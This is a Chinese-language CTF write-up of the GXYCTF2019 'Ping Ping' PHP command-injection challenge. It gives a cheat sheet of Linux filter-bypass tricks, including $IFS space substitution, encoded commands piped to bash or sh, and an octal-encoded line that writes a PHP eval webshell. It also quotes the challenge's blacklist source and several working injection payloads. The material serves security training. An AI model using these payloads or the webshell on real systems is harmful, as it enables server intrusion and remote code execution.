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        <h1 id="GXYCTF2019Ping-Ping"><a href="#GXYCTF2019Ping-Ping" class="headerlink" title="GXYCTF2019Ping Ping"></a>GXYCTF2019Ping Ping</h1><p>ping命令行注入<br>尝试一下<br><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0.0.1</span>|ls</span><br></pre></td></tr></table></figure><br>发现有flag.php和index.php两个文件</p>
<p>这里记录一下linux的绕过技巧：<br><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">linux常见绕过方法</span><br><span class="line">空格过滤</span><br><span class="line">&lt; 、&lt;&gt;、<span class="variable">%20(space)、%</span>09(tab)、<span class="keyword">$IFS$9、 IFS、&#123;IFS&#125;、IFS、IFS等</span></span><br><span class="line"><span class="keyword"></span></span><br><span class="line"><span class="keyword">一些命令分隔符</span></span><br><span class="line"><span class="keyword">linux中：%0a 、%0d 、; 、&amp; 、| 、&amp;&amp;、||</span></span><br><span class="line"><span class="keyword"></span></span><br><span class="line"><span class="keyword">windows中：%0a、&amp;、|、%1a（一个神奇的角色，作为.bat文件中的命令分隔符）</span></span><br><span class="line"><span class="keyword"></span></span><br><span class="line"><span class="keyword">花括号的别样用法</span></span><br><span class="line"><span class="keyword">在Linux bash中还可以使用&#123;OS_COMMAND,ARGUMENT&#125;来执行系统命令</span></span><br><span class="line"><span class="keyword">&#123;cat,flag&#125;</span></span><br><span class="line"><span class="keyword"></span></span><br><span class="line"><span class="keyword">黑名单绕过</span></span><br><span class="line"><span class="keyword">拼接绕过:a=l;b=s;aaab</span></span><br><span class="line"><span class="keyword">编码绕过</span></span><br><span class="line"><span class="keyword"></span></span><br><span class="line"><span class="keyword">base64：</span></span><br><span class="line"><span class="keyword">echo “Y2F0IC9mbGFn”|base64-d|bash</span></span><br><span class="line"><span class="keyword">&gt;cat /flag</span></span><br><span class="line"><span class="keyword"></span></span><br><span class="line"><span class="keyword">hex：</span></span><br><span class="line"><span class="keyword">echo “636174202f666c6167” | xxd -r -p|bash</span></span><br><span class="line"><span class="keyword">&gt;cat /flag</span></span><br><span class="line"><span class="keyword">oct：</span></span><br><span class="line"><span class="keyword">$</span>(printf “<span class="symbol">\1</span>54<span class="symbol">\1</span>63”)</span><br><span class="line">&gt;ls</span><br><span class="line"></span><br><span class="line">$(printf “<span class="symbol">\x</span>63<span class="symbol">\x</span>61<span class="symbol">\x</span>74<span class="symbol">\x</span>20<span class="symbol">\x</span>2f<span class="symbol">\x</span>66<span class="symbol">\x</span>6c<span class="symbol">\x</span>61<span class="symbol">\x</span>67”)</span><br><span class="line">&gt;cat /flag</span><br><span class="line"></span><br><span class="line">&#123;printf,"<span class="symbol">\x</span>63<span class="symbol">\x</span>61<span class="symbol">\x</span>74<span class="symbol">\x</span>20<span class="symbol">\x</span>2f<span class="symbol">\x</span>66<span class="symbol">\x</span>6c<span class="symbol">\x</span>61<span class="symbol">\x</span>67"&#125;|$0</span><br><span class="line">&gt;cat /flag</span><br><span class="line">#可以通过这样来写webshell,内容为&lt;?php @eval($_POST['c']);?&gt;</span><br><span class="line">$&#123;printf,"<span class="symbol">\7</span>4<span class="symbol">\7</span>7<span class="symbol">\1</span>60<span class="symbol">\1</span>50<span class="symbol">\1</span>60<span class="symbol">\4</span>0<span class="symbol">\1</span>00<span class="symbol">\1</span>45<span class="symbol">\1</span>66<span class="symbol">\1</span>41<span class="symbol">\1</span>54<span class="symbol">\5</span>0<span class="symbol">\4</span>4<span class="symbol">\1</span>37<span class="symbol">\1</span>20<span class="symbol">\1</span>17<span class="symbol">\1</span>23<span class="symbol">\1</span>24<span class="symbol">\1</span>33<span class="symbol">\4</span>7<span class="symbol">\1</span>43<span class="symbol">\4</span>7<span class="symbol">\1</span>35<span class="symbol">\5</span>1<span class="symbol">\7</span>3<span class="symbol">\7</span>7<span class="symbol">\7</span>6"&#125;</span><br><span class="line">&gt; 1.php</span><br><span class="line">单引号和双引号绕过</span><br><span class="line">比如：ca’'t flag 或ca""t flag</span><br><span class="line">反斜杠绕过</span><br><span class="line">比如：ca<span class="symbol">\t</span> fl<span class="symbol">\a</span>g</span><br><span class="line">5、利用Shell 特殊变量绕过</span><br><span class="line">例如，第一个参数是1，第二个参数是2。而参数不存在时其值为空。</span><br><span class="line">@表示（@表示（@表示（@:同样也是获取当前shell的参数，不加引号和∗是一样的，那么加了引号如："*是一样的，那么加了引号如："∗是一样的，那么加了引号如："@" 表示将所有的参数视为不同独立的字符串，相当于"$1" "2"..）&lt;br&gt;比如：ca2"..）&lt;br&gt;比如：ca2"..）&lt;br&gt;比如：ca@t fla$@g</span><br><span class="line"></span><br><span class="line">ca$1t fla$2g</span><br></pre></td></tr></table></figure><br>再尝试一下<br><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0.0.1</span>|cat flag.php</span><br></pre></td></tr></table></figure><br>发现空格被过滤了  用$IFS$9代替空格<br><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0.0.1</span>|cat$IFS$9flag.php</span><br></pre></td></tr></table></figure><br>发现flag被过滤了  访问一下index.php  得到源码：<br><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">|<span class="symbol">\'</span>|<span class="symbol">\"</span>|<span class="symbol">\\</span>|<span class="symbol">\(</span>|<span class="symbol">\)</span>|<span class="symbol">\[</span>|<span class="symbol">\]</span>|<span class="symbol">\&#123;</span>|<span class="symbol">\&#125;</span>/", <span class="keyword">$ip, $match))&#123;</span></span><br><span class="line"><span class="keyword">    echo preg_match</span>("/<span class="symbol">\&amp;</span>|<span class="symbol">\/</span>|<span class="symbol">\?</span>|<span class="symbol">\*</span>|<span class="symbol">\&lt;</span>|[<span class="symbol">\x</span>&#123;00&#125;-<span class="symbol">\x</span>&#123;20&#125;]|<span class="symbol">\&gt;</span>|<span class="symbol">\'</span>|<span class="symbol">\"</span>|<span class="symbol">\\</span>|<span class="symbol">\(</span>|<span class="symbol">\)</span>|<span class="symbol">\[</span>|<span class="symbol">\]</span>|<span class="symbol">\&#123;</span>|<span class="symbol">\&#125;</span>/", <span class="keyword">$ip, $match);</span></span><br><span class="line"><span class="keyword">    die</span>("fxck your symbol!");</span><br><span class="line">  &#125; else if(preg_match("/ /", <span class="keyword">$ip))&#123;</span></span><br><span class="line"><span class="keyword">    die</span>("fxck your space!");</span><br><span class="line">  &#125; else if(preg_match("/bash/", <span class="keyword">$ip))&#123;</span></span><br><span class="line"><span class="keyword">    die</span>("fxck your bash!");</span><br><span class="line">  &#125; else if(preg_match("/.*f.*l.*a.*g.*/", <span class="keyword">$ip))&#123;</span></span><br><span class="line"><span class="keyword">    die</span>("fxck your flag!");</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">$a = shell_exec</span>("ping -c 4 ".<span class="keyword">$ip);</span></span><br><span class="line"><span class="keyword">  echo "</span></span><br><span class="line"><span class="keyword">";</span></span><br><span class="line"><span class="keyword">  print_r</span>(<span class="keyword">$a);</span></span><br><span class="line"><span class="keyword">&#125;</span></span><br><span class="line"><span class="keyword"></span></span><br><span class="line"><span class="keyword">?&gt;</span></span><br></pre></td></tr></table></figure><br>过滤掉了空格，bash和flag的贪心匹配 所以想f/l/a/g这样的操作也行不通了</p>
<p>所以利用变量构造<br><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0.0.1</span>;a=f;d=ag;c=l;cat$IFS$a$c$d.php</span><br></pre></td></tr></table></figure><br>查看源码得到flag</p>
<p>网上还有一种秒题技巧：<br><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">127.0.0.1</span>;cat$IFS$<span class="number">9</span>`ls`</span><br></pre></td></tr></table></figure><br>内联执行的做法 </p>
<p>官方做法：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span><span class="variable">$IFS</span><span class="variable">$1Y2F0IGZsYWcucGhw</span>|base64<span class="variable">$IFS</span><span class="variable">$1</span>-d|sh</span><br></pre></td></tr></table></figure><br>过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行</p>
<p>实在是太强了</p>

      
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